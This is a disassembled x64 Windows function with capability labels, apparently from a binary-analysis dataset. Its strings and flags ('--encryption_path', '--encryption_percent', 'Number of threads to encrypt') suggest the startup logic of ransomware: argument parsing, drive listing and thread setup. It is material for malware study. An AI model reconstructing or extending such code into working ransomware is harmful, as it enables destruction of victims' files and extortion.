Function at 0x7ff674a4ca40
Capabilities:
Accept command line arguments
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x850]
sub rsp, 0x950
mov rax, qword [0x7ff674aed368]
xor rax, rsp
mov qword [rbp + 0x840], rax
lea rcx, [rbp + 0x698]
call fcn.7ff674a95204
lea rcx, [rbp + 0x698]
call fcn.7ff674a94b18
mov r9, rax
lea r8, str.Log__d__m__Y__H__M__S
mov edx, 0x50
lea rcx, [rbp + 0x7f0]
call fcn.7ff674a94f58
xorps xmm0, xmm0
movups xmmword [rbp + 0x6a0], xmm0
xor r13d, r13d
mov qword [rbp + 0x6b0], r13
mov qword [rbp + 0x6b8], r13
lea rax, [rbp + 0x7f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x7ff674a4cad4
lea rdx, [rbp + 0x7f0]
lea rcx, [rbp + 0x6a0]
call fcn.7ff674a36fe0
lea rdx, [rbp + 0x6a0]
call fcn.7ff674a4c6f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x590], r13
mov qword [rbp + 0x598], 7
mov word [rbp + 0x580], r13w
movups xmmword [rbp + 0x5e0], xmm0
mov qword [rbp + 0x5f0], r13
mov qword [rbp + 0x5f8], 7
mov word [rbp + 0x5e0], r13w
movups xmmword [rbp + 0x5b8], xmm0
mov qword [rbp + 0x5c8], r13
mov qword [rbp + 0x5d0], 7
mov word [rbp + 0x5b8], r13w
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp + 0x5d8]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rsi, rax
xorps xmm0, xmm0
test rax, rax
je 0x7ff674a4e452
xor eax, eax
mov qword [rbp + 0x662], rax
mov dword [rbp + 0x66a], eax
mov word [rbp + 0x66e], ax
movdqa xmmword [rbp + 0x600], xmm0
mov qword [rbp + 0x610], r13
mov qword [rbp + 0x620], r13
lea ecx, [rax + 0x60]
call fcn.7ff674a84fe0
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x618], rax
mov qword [rbp + 0x628], r13
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x630], xmm0
mov qword [rbp + 0x648], r13
mov ecx, 0x40
call fcn.7ff674a84fe0
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x640], rax
mov qword [rbp + 0x658], r13
mov ecx, 0x40
call fcn.7ff674a84fe0
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x650], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x660], xmm0
mov qword [rbp + 0x670], r13
mov qword [rbp + 0x678], 7
mov word [rbp + 0x660], r13w
movsxd rdx, dword [rbp + 0x5d8]
mov r8, rsi
lea rcx, [rbp + 0x600]
call fcn.7ff674a53d70
lea rax, [0x7ff674ad2a64]
mov qword [rbp + 0x78], rax
lea rax, str.__encryption_path
mov qword [rbp + 0x80], rax
lea rax, [rbp + 0x78]
mov qword [rsp + 0x70], rax
lea rax, [rbp + 0x88]
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x170], xmm0
lea r8, [rbp + 0x170]
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x600]
call fcn.7ff674a4f250
lea rcx, [rax + 0x10]
lea rdx, [rbp + 0xf8]
call fcn.7ff674a501d0
mov rdx, qword [rbp + 0x598]
cmp rdx, 8
jb 0x7ff674a4cd1c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x580]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4cd17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e681
call fcn.7ff674a8526c
movups xmm0, xmmword [rbp + 0xf8]
movups xmmword [rbp + 0x580], xmm0
movups xmm1, xmmword [rbp + 0x108]
movups xmmword [rbp + 0x590], xmm1
mov qword [rbp + 0x108], r13
mov qword [rbp + 0x110], 7
mov word [rbp + 0xf8], r13w
mov rax, qword [rbp + 0x240]
movsxd rcx, dword [rax + 4]
lea r14, [0x7ff674ad55c8]
mov qword [rbp + rcx + 0x240], r14
mov rax, qword [rbp + 0x240]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x23c], edx
lea rcx, [rbp + 0x250]
call fcn.7ff674a4eec0
mov rax, qword [rbp + 0x240]
movsxd rcx, dword [rax + 4]
lea r12, [0x7ff674ad5100]
mov qword [rbp + rcx + 0x240], r12
mov rax, qword [rbp + 0x240]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x23c], edx
lea rdi, [0x7ff674ac5d40]
mov qword [rbp + 0x2d0], rdi
lea rcx, [rbp + 0x2d0]
call fcn.7ff674a796ac
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], r13
mov qword [rbp + 0xb0], r13
mov r8d, 2
lea rdx, [0x7ff674ad2a74]
lea rcx, [rbp + 0x98]
call fcn.7ff674a3e3a0
mov rbx, qword [rbp + 0x640]
lea r8, [rbp + 0x98]
lea rdx, [rbp + 0x1a0]
call fcn.7ff674a503f0
mov rdx, rax
lea rcx, [rbp + 0x640]
call fcn.7ff674a55080
mov r15, rax
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 8
jb 0x7ff674a4ce7d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4ce78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e687
call fcn.7ff674a8526c
mov rdx, qword [rbp + 0xb0]
cmp rdx, 8
jb 0x7ff674a4cec3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4cebe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e68d
call fcn.7ff674a8526c
lea rax, [0x7ff674ad2a6c]
mov qword [rbp + 0x88], rax
lea rax, str.__share_file
mov qword [rbp + 0x90], rax
lea rax, [rbp + 0x88]
mov qword [rsp + 0x70], rax
lea rax, [rbp + 0x98]
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x180], xmm0
lea r8, [rbp + 0x180]
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x600]
call fcn.7ff674a4f250
lea rcx, [rax + 0x10]
lea rdx, [rbp + 0xd8]
call fcn.7ff674a501d0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 8
jb 0x7ff674a4cf74
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4cf6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e693
call fcn.7ff674a8526c
movups xmm0, xmmword [rbp + 0xd8]
movups xmmword [rbp + 0x5e0], xmm0
movups xmm1, xmmword [rbp + 0xe8]
movups xmmword [rbp + 0x5f0], xmm1
mov qword [rbp + 0xe8], r13
mov qword [rbp + 0xf0], 7
mov word [rbp + 0xd8], r13w
mov rax, qword [rbp + 0x330]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x330], r14
mov rax, qword [rbp + 0x330]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x32c], edx
lea rcx, [rbp + 0x340]
call fcn.7ff674a4eec0
mov rax, qword [rbp + 0x330]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x330], r12
mov rax, qword [rbp + 0x330]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x32c], edx
mov qword [rbp + 0x3c0], rdi
lea rcx, [rbp + 0x3c0]
call fcn.7ff674a796ac
nop
lea rax, [0x7ff674ad2a7c]
mov qword [rsp + 0x70], rax
lea rax, str.__encryption_percent
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x570], rax
lea rax, [rbp - 0x80]
mov qword [rbp + 0x578], rax
movaps xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x190], xmm0
lea r8, [rbp + 0x190]
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x600]
call fcn.7ff674a4f250
lea rcx, [rax + 0x10]
lea rdx, [rbp + 0x130]
call fcn.7ff674a501d0
mov rdx, qword [rbp + 0x5d0]
cmp rdx, 8
jb 0x7ff674a4d0cb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x5b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4d0c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e699
call fcn.7ff674a8526c
movups xmm0, xmmword [rbp + 0x130]
movups xmmword [rbp + 0x5b8], xmm0
movups xmm1, xmmword [rbp + 0x140]
movups xmmword [rbp + 0x5c8], xmm1
mov qword [rbp + 0x140], r13
mov qword [rbp + 0x148], 7
mov word [rbp + 0x130], r13w
mov rax, qword [rbp + 0x420]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x420], r14
mov rax, qword [rbp + 0x420]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x41c], edx
lea rcx, [rbp + 0x430]
call fcn.7ff674a4eec0
mov rax, qword [rbp + 0x420]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x420], r12
mov rax, qword [rbp + 0x420]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x41c], edx
mov qword [rbp + 0x4b0], rdi
lea rcx, [rbp + 0x4b0]
call fcn.7ff674a796ac
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov r8d, 0xa
lea rdx, str._localonly
lea rcx, [rsp + 0x30]
call fcn.7ff674a3e3a0
mov rdi, qword [rbp + 0x640]
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x150]
call fcn.7ff674a503f0
mov rdx, rax
lea rcx, [rbp + 0x640]
call fcn.7ff674a55080
mov qword [rbp - 0x70], rax
mov rdx, qword [rbp + 0x168]
cmp rdx, 8
jb 0x7ff674a4d20e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4d209
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e69f
call fcn.7ff674a8526c
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x7ff674a4d250
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4d24b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e6a5
call fcn.7ff674a8526c
mov rdx, qword [rbp + 0x678]
cmp rdx, 8
jb 0x7ff674a4d296
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x660]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4d291
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e6ab
call fcn.7ff674a8526c
mov qword [rbp + 0x670], r13
mov qword [rbp + 0x678], 7
mov word [rbp + 0x660], r13w
mov r8, qword [rbp + 0x650]
mov r8, qword [r8 + 8]
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x650]
call fcn.7ff674a5c9b0
mov edx, 0x40
mov rcx, qword [rbp + 0x650]
call fcn.7ff674a8526c
mov r8, qword [rbp + 0x640]
mov r8, qword [r8 + 8]
lea rdx, [rbp + 0x640]
lea rcx, [rbp + 0x640]
call fcn.7ff674a5c9b0
mov edx, 0x40
mov rcx, qword [rbp + 0x640]
call fcn.7ff674a8526c
lea rcx, [rbp + 0x628]
call fcn.7ff674a44790
lea rcx, [rbp + 0x618]
call fcn.7ff674a4f1e0
lea rcx, [rbp + 0x600]
call fcn.7ff674a44790
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [rbp + 0x560], 0x32
cmp qword [rbp + 0x5c8], 0
je 0x7ff674a4d3a3
call fcn.7ff674a951e4
mov r14, rax
lea rsi, [rbp + 0x5b8]
cmp qword [rbp + 0x5d0], 8
cmovae rsi, qword [rbp + 0x5b8]
mov dword [rax], r13d
mov r8d, 0xa
lea rdx, [rbp + 0x558]
mov rcx, rsi
call fcn.7ff674a947f0
mov dword [rbp + 0x560], eax
cmp rsi, qword [rbp + 0x558]
je 0x7ff674a4e6b1
cmp dword [r14], 0x22
je 0x7ff674a4e6be
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5a0], xmm0
mov qword [rbp + 0x5b0], rax
lea rcx, [rbp + 0x5a0]
call fcn.7ff674a766f0
cmp rbx, r15
je 0x7ff674a4d4f8
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov r8d, 0xe
lea rdx, str.List_of_drives
lea rcx, [rsp + 0x30]
call fcn.7ff674a36fe0
mov rcx, qword [0x7ff674af5e58]
mov esi, 2
test rcx, rcx
je 0x7ff674a4d423
lea r8, [rsp + 0x30]
mov edx, esi
call fcn.7ff674a3fdd0
mov rcx, qword [0x7ff674af5e58]
test rcx, rcx
je 0x7ff674a4d423
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x7ff674a4d460
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4d45b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e6cb
call fcn.7ff674a8526c
mov rbx, qword [rbp + 0x5a0]
mov rdi, qword [rbp + 0x5a8]
cmp rbx, rdi
je 0x7ff674a4e3bb
mov rdx, rbx
lea rcx, [rbp + 0x150]
call fcn.7ff674a76b40
mov rcx, qword [0x7ff674af5e58]
test rcx, rcx
je 0x7ff674a4d4ae
mov r8, rax
mov edx, esi
call fcn.7ff674a3fdd0
mov rcx, qword [0x7ff674af5e58]
test rcx, rcx
je 0x7ff674a4d4ae
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp + 0x168]
cmp rdx, 0x10
jb 0x7ff674a4d4ef
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4d4ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e6d1
call fcn.7ff674a8526c
add rbx, 0x28
jmp 0x7ff674a4d46e
call fcn.7ff674a78e00
mov rbx, rax
call fcn.7ff674a78de4
cmp rbx, 0x989680
jne 0x7ff674a4d514
imul rsi, rax, 0x64
jmp 0x7ff674a4d52f
cqo
idiv rbx
imul rsi, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rsi, rax
mov qword [rbp - 0x80], rsi
call fcn.7ff674a6ecf0
call fcn.7ff674a70c30
call fcn.7ff674a71d80
lea rcx, [rbp + 0x7c0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ebx, dword [rbp + 0x7e0]
test ebx, ebx
jne 0x7ff674a4d5f4
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
lea r8d, [rbx + 0x11]
lea rdx, str.No_cpu_available_
lea rcx, [rsp + 0x30]
call fcn.7ff674a36fe0
mov rcx, qword [0x7ff674af5e58]
test rcx, rcx
je 0x7ff674a4d5af
lea r8, [rsp + 0x30]
lea edx, [rbx + 4]
call fcn.7ff674a3fdd0
mov rcx, qword [0x7ff674af5e58]
test rcx, rcx
je 0x7ff674a4d5af
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x7ff674a4e3bb
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4e3b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e67b
jmp 0x7ff674a4e3b6
mov ecx, 0x38
call fcn.7ff674a84fe0
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov qword [rax + 0x30], rcx
mov rcx, rax
call fcn.7ff674a7af50
mov r14, rax
mov qword [rbp + 0x50], rax
test rax, rax
je 0x7ff674a4e328
lea rcx, [0x7ff674aef010]
call fcn.7ff674a8c3e8
mov edx, eax
mov r9b, 1
lea r8, [0x7ff674aee010]
mov rcx, r14
call fcn.7ff674a7baa0
test eax, eax
jne 0x7ff674a4e328
mov qword [rbp + 0x550], r14
cmp ebx, 4
jg 0x7ff674a4d66b
cmp ebx, 1
mov eax, 2
cmove ebx, eax
add ebx, ebx
imul ecx, ebx, 0x1e
mov eax, 0x51eb851f
imul ecx
mov r8d, edx
sar r8d, 5
mov ecx, r8d
shr ecx, 0x1f
add r8d, ecx
mov dword [rsp + 0x54], r8d
lea ecx, [rbx + rbx*4]
add ecx, ecx
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [rsp + 0x50], edx
mov eax, 1
jne 0x7ff674a4d6b1
mov dword [rsp + 0x50], eax
mov edx, eax
sub ebx, r8d
sub ebx, edx
mov dword [rsp + 0x58], ebx
lea rdx, [rsp + 0x54]
lea rcx, [rbp + 0x1c0]
call fcn.7ff674a3dec0
mov rbx, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x25
jb 0x7ff674a4d767
lea rax, [r8 + 0x25]
mov qword [rbx + 0x10], rax
mov r14, rbx
cmp rcx, 0x10
jb 0x7ff674a4d6fa
mov r14, qword [rbx]
lea rax, [0x7ff674ad2ba5]
mov r13d, 0x25
lea r12, str.Number_of_thread_to_folder_parsers_
cmp rax, r14
jbe 0x7ff674a4d72e
lea rax, [r14 + r8]
cmp r12, rax
ja 0x7ff674a4d72e
cmp r14, r12
ja 0x7ff674a4d726
xor r15d, r15d
jmp 0x7ff674a4d731
mov r15, r14
sub r15, r12
jmp 0x7ff674a4d731
mov r15, r13
inc r8
lea rcx, [r14 + 0x25]
mov rdx, r14
call fcn.7ff674a875d0
mov r8, r15
mov rdx, r12
mov rcx, r14
call fcn.7ff674a875d0
sub r13, r15
lea rdx, [r12 + 0x25]
add rdx, r15
lea rcx, [r14 + r15]
mov r8, r13
call fcn.7ff674a875d0
jmp 0x7ff674a4d78c
mov r13d, 0x25
mov qword [rsp + 0x28], r13
lea r12, str.Number_of_thread_to_folder_parsers_
mov qword [rsp + 0x20], r12
mov edx, r13d
mov rcx, rbx
call fcn.7ff674a3ff80
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xor r14d, r14d
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], r14
movups xmm0, xmmword [rbx]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r14b
mov rcx, qword [0x7ff674af5e58]
test rcx, rcx
je 0x7ff674a4d7e7
lea r8, [rbp]
lea edx, [r14 + 2]
call fcn.7ff674a3fdd0
mov rcx, qword [0x7ff674af5e58]
test rcx, rcx
je 0x7ff674a4d7e7
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x7ff674a4d822
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4d81d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e6d7
call fcn.7ff674a8526c
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], 0xf
mov byte [rbp], r14b
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x7ff674a4d873
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4d86e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e6d7
call fcn.7ff674a8526c
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x1e0]
call fcn.7ff674a3dec0
mov rbx, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x2a
jb 0x7ff674a4d923
lea rax, [r8 + 0x2a]
mov qword [rbx + 0x10], rax
mov r14, rbx
cmp rcx, 0x10
jb 0x7ff674a4d8b3
mov r14, qword [rbx]
lea rax, [0x7ff674ad2b7a]
mov r13d, 0x2a
lea r12, str.Number_of_thread_to_root_folder_parsers_
cmp rax, r14
jbe 0x7ff674a4d8e7
lea rax, [r14 + r8]
cmp r12, rax
ja 0x7ff674a4d8e7
cmp r14, r12
ja 0x7ff674a4d8df
xor r15d, r15d
jmp 0x7ff674a4d8ea
mov r15, r14
sub r15, r12
jmp 0x7ff674a4d8ea
mov r15, r13
inc r8
lea rcx, [r14 + 0x2a]
mov rdx, r14
call fcn.7ff674a875d0
mov r8, r15
mov rdx, r12
mov rcx, r14
call fcn.7ff674a875d0
sub r13, r15
lea rdx, [r12 + 0x2a]
add rdx, r15
lea rcx, [r14 + r15]
mov r8, r13
call fcn.7ff674a875d0
xor r14d, r14d
jmp 0x7ff674a4d948
mov r13d, 0x2a
mov qword [rsp + 0x28], r13
lea r12, str.Number_of_thread_to_root_folder_parsers_
mov qword [rsp + 0x20], r12
mov edx, r13d
mov rcx, rbx
call fcn.7ff674a3ff80
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], r14
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [0x7ff674af5e58]
test rcx, rcx
je 0x7ff674a4d9a1
lea r8, [rbp - 0x20]
mov edx, 2
call fcn.7ff674a3fdd0
mov rcx, qword [0x7ff674af5e58]
test rcx, rcx
je 0x7ff674a4d9a1
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x7ff674a4d9dc
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4d9d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e6dd
call fcn.7ff674a8526c
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x7ff674a4da2d
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4da28
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e6dd
call fcn.7ff674a8526c
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x200]
call fcn.7ff674a3dec0
mov rbx, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x1f
jb 0x7ff674a4dadd
lea rax, [r8 + 0x1f]
mov qword [rbx + 0x10], rax
mov r14, rbx
cmp rcx, 0x10
jb 0x7ff674a4da6d
mov r14, qword [rbx]
lea rax, [0x7ff674ad2be7]
mov r13d, 0x1f
lea r12, str.Number_of_threads_to_encrypt_
cmp rax, r14
jbe 0x7ff674a4daa1
lea rax, [r14 + r8]
cmp r12, rax
ja 0x7ff674a4daa1
cmp r14, r12
ja 0x7ff674a4da99
xor r15d, r15d
jmp 0x7ff674a4daa4
mov r15, r14
sub r15, r12
jmp 0x7ff674a4daa4
mov r15, r13
inc r8
lea rcx, [r14 + 0x1f]
mov rdx, r14
call fcn.7ff674a875d0
mov r8, r15
mov rdx, r12
mov rcx, r14
call fcn.7ff674a875d0
sub r13, r15
lea rdx, [r12 + 0x1f]
add rdx, r15
lea rcx, [r14 + r15]
mov r8, r13
call fcn.7ff674a875d0
xor r14d, r14d
jmp 0x7ff674a4db02
mov r13d, 0x1f
mov qword [rsp + 0x28], r13
lea r12, str.Number_of_threads_to_encrypt_
mov qword [rsp + 0x20], r12
mov edx, r13d
mov rcx, rbx
call fcn.7ff674a3ff80
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r14
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [0x7ff674af5e58]
test rcx, rcx
je 0x7ff674a4db5b
lea r8, [rbp - 0x40]
mov edx, 2
call fcn.7ff674a3fdd0
mov rcx, qword [0x7ff674af5e58]
test rcx, rcx
je 0x7ff674a4db5b
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x7ff674a4db96
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4db91
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e6e3
call fcn.7ff674a8526c
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x7ff674a4dbe7
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4dbe2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e6e3
call fcn.7ff674a8526c
mov ecx, 0x180
call fcn.7ff674a84fe0
mov r15, rax
mov qword [rbp + 0x40], rax
mov r12d, 1
mov dword [rax + 8], r12d
mov dword [rax + 0xc], r12d
lea rax, [0x7ff674ad5f00]
mov qword [r15], rax
lea r13, [r15 + 0x10]
mov r8d, dword [rsp + 0x50]
mov edx, dword [rsp + 0x54]
mov rcx, r13
call fcn.7ff674a737e0
test r13, r13
je 0x7ff674a4dc98
mov rax, qword [r13 + 8]
test rax, rax
je 0x7ff674a4dc39
cmp dword [rax + 8], 0
jne 0x7ff674a4dc98
lock inc dword [r15 + 8]
lock inc dword [r15 + 0xc]
mov qword [r13], r13
mov rcx, qword [r13 + 8]
mov qword [r13 + 8], r15
mov rbx, 0xffffffffffffffff
test rcx, rcx
je 0x7ff674a4dc6d
mov eax, ebx
lock xadd dword [rcx + 0xc], eax
cmp eax, r12d
jne 0x7ff674a4dc6d
mov rax, qword [rcx]
call qword [rax + 8]
mov eax, ebx
lock xadd dword [r15 + 8], eax
cmp eax, r12d
jne 0x7ff674a4dc98
mov rax, qword [r15]
mov rcx, r15
call qword [rax]
mov eax, ebx
lock xadd dword [r15 + 0xc], eax
cmp eax, r12d
jne 0x7ff674a4dc98
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 8]
xorps xmm0, xmm0
movups xmmword [rbp + 0x570], xmm0
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x570]
call fcn.7ff674a54230
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x680], xmm0
mov qword [rbp + 0x690], r14
cmp qword [rbp + 0x5f0], 0
je 0x7ff674a4dd9b
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x5e0]
call fcn.7ff674a41fc0
test al, al
jne 0x7ff674a4dd9b
